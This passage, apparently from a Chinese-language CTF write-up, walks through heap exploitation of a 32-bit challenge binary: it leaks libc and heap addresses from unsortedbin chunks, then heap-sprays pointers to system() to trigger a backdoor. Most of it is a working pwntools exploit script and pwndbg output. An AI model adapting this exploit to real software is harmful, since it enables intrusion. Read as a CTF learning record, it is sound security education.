—▸ 0x579ae238 —▸ 0x579ae328 ◂— ... unsortedbin all [corrupted] FD: 0x579ae0d8 —▸ 0x579adf78 —▸ 0x579adc08 —▸ 0x579adaa8 —▸ 0x579ad7e8 ◂— ... BK: 0x579ae8e8 —▸ 0x579ae338 —▸ 0x579ae648 —▸ 0x579ad7e8 —▸ 0x579adaa8 ◂— ... smallbins empty largebins empty pwndbg> 此时就会出现如下的神仙堆块,这就是我们要的最完美的堆块 Free chunk (unsortedbin) | PREV_INUSE Addr: 0x579ae8e8 Size: 0x151 fd: 0xf7f48778 bk: 0x579ae338 但是要明白一点,unsortedbin可不止这一个,而且他不是每次都一定处于链表的头部的,所以还要写一个全输出和筛选操作 # Assuming leak_all is defined as an empty list before this leak_all = [] heap_addr = None libc_base = None for i in range(46):   leak = leak_libc(i)   if leak > 0x56000000:       leak_all.append(leak)       print(hex(leak))               # Assigning values to heap_addr and libc_base       if heap_addr is None and leak < 0xf7000000:           heap_addr = leak+0x1000-0x56       elif libc_base is None and leak > 0xf7000000:           libc_base = leak-0x1eb756 这样就可以稳定的获得libc,和一个堆地址。 然后经过内存调试发现,该堆地址在有一定概率在后续申请的堆块的下面,我们可以进行栈溢出覆盖该堆地址的内容,完成上面后门要求的条件。 所以,直接进行堆喷覆盖,index为0的chunk+0x100肯定在自己的下面,我们要考虑爆破的只有堆风水和上面泄露的heap_addr是不是也在index为0的chunk后面就行了,对于这个问题就交给运气吧,爆就完事了。 tips:(上面的堆风水是因为,他的add的时候用了random瞎赋值下标干扰程序增强随机化导致的,有时候链表不是我想的那么完美有可能踩值会踩不到 0x580e97a0 —▸ 0x580e8900 ◂— 0 ,会变成0x580e97a0 —▸ 0x580e8900 ◂— 0x580e8900 这就是因为堆风水导致padding不稳定,) # Checking the assigned values print("heap_addr:", hex(heap_addr)) print("libc_base:", hex(libc_base)) sys=libc_base+libc.sym['system'] pay=p32(0)+p32(sys)+p32(heap_addr)*0x330+(p32(0)+p32(sys))*0x1000 create_heap(0x100, pay,pay,0) p.sendlineafter("Please give me your choose : ", "5") p.sendlineafter("Please input heap index : ", "0") exp from pwn import * # 连接到题目提供的服务端 p = process('./main') context.log_level='debug' libc=ELF('/root/P-W-N/bulue/glibc-all-in-one/libs/2.31-0ubuntu9.9_i386/libc.so.6') def create_heap(size, data,data2,flag):   p.sendlineafter("Please give me your choose : ", "1")   p.sendlineafter("How much space do you need : ", str(size))   p.sendlineafter("Please input your head data.", data)   p.sendlineafter("Which flag do you want?", str(flag))   for _ in range(15):       p.sendlineafter("Please input your head data.", data2)       p.sendlineafter("Which flag do you want?", str(flag)) def delete_heap():   p.sendlineafter("Please give me your choose : ", "3") all_leak=[] def leak_libc(idx):   p.sendlineafter("Please give me your choose : ", "2")   p.sendlineafter("Please input heap index : ", str(idx))   p.recvuntil("Heap information is ")   p.recv(4)   leak = u32(p.recv(4).ljust(4,b'\x00'))   return leak gdb.attach(p,'b *$rebase(0x01C9E)') #构建理想chunk,bk带有堆指针或libc指针,这种chunk可以批发的 create_heap(0xa0, b'1','data',4) create_heap(1, b'1','data',4) create_heap(0x60, b'1','data',4) create_heap(1, b'1','data',4) delete_heap() delete_heap() delete_heap() delete_heap() #申请小chunk 疯狂切割,直接一点点带出来 create_heap(1, b'1','data',4) create_heap(1, b'1','data',4) create_heap(1, b'1','data',4) # Assuming leak_all is defined as an empty list before this leak_all = [] heap_addr = None libc_base = None for i in range(46):   leak = leak_libc(i)   if leak > 0x56000000:       leak_all.append(leak)       print(hex(leak))               # Assigning values to heap_addr and libc_base       if heap_addr is None and leak < 0xf7000000:           heap_addr = leak+0x1000-0x56       elif libc_base is None and leak > 0xf7000000:           libc_base = leak-0x1eb756 delete_heap() delete_heap() delete_heap() # Checking the assigned values print("heap_addr:", hex(heap_addr)) print("libc_base:", hex(libc_base)) sys=libc_base+libc.sym['system'] #堆风水随缘padding,最后的p32(0)+p32(sys)是因为要满足后门格式,由于我们不可能得到具体的距离,只能用滑板思想批量填充滑动 pay=p32(0)+p32(sys)+p32(heap_addr)*0x330+(p32(0)+p32(sys))*0x1000 create_heap(0x100, pay,pay,0) p.sendlineafter("Please give me your choose : ", "5") p.sendlineafter("Please input heap index : ", "0") p.interactive()
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页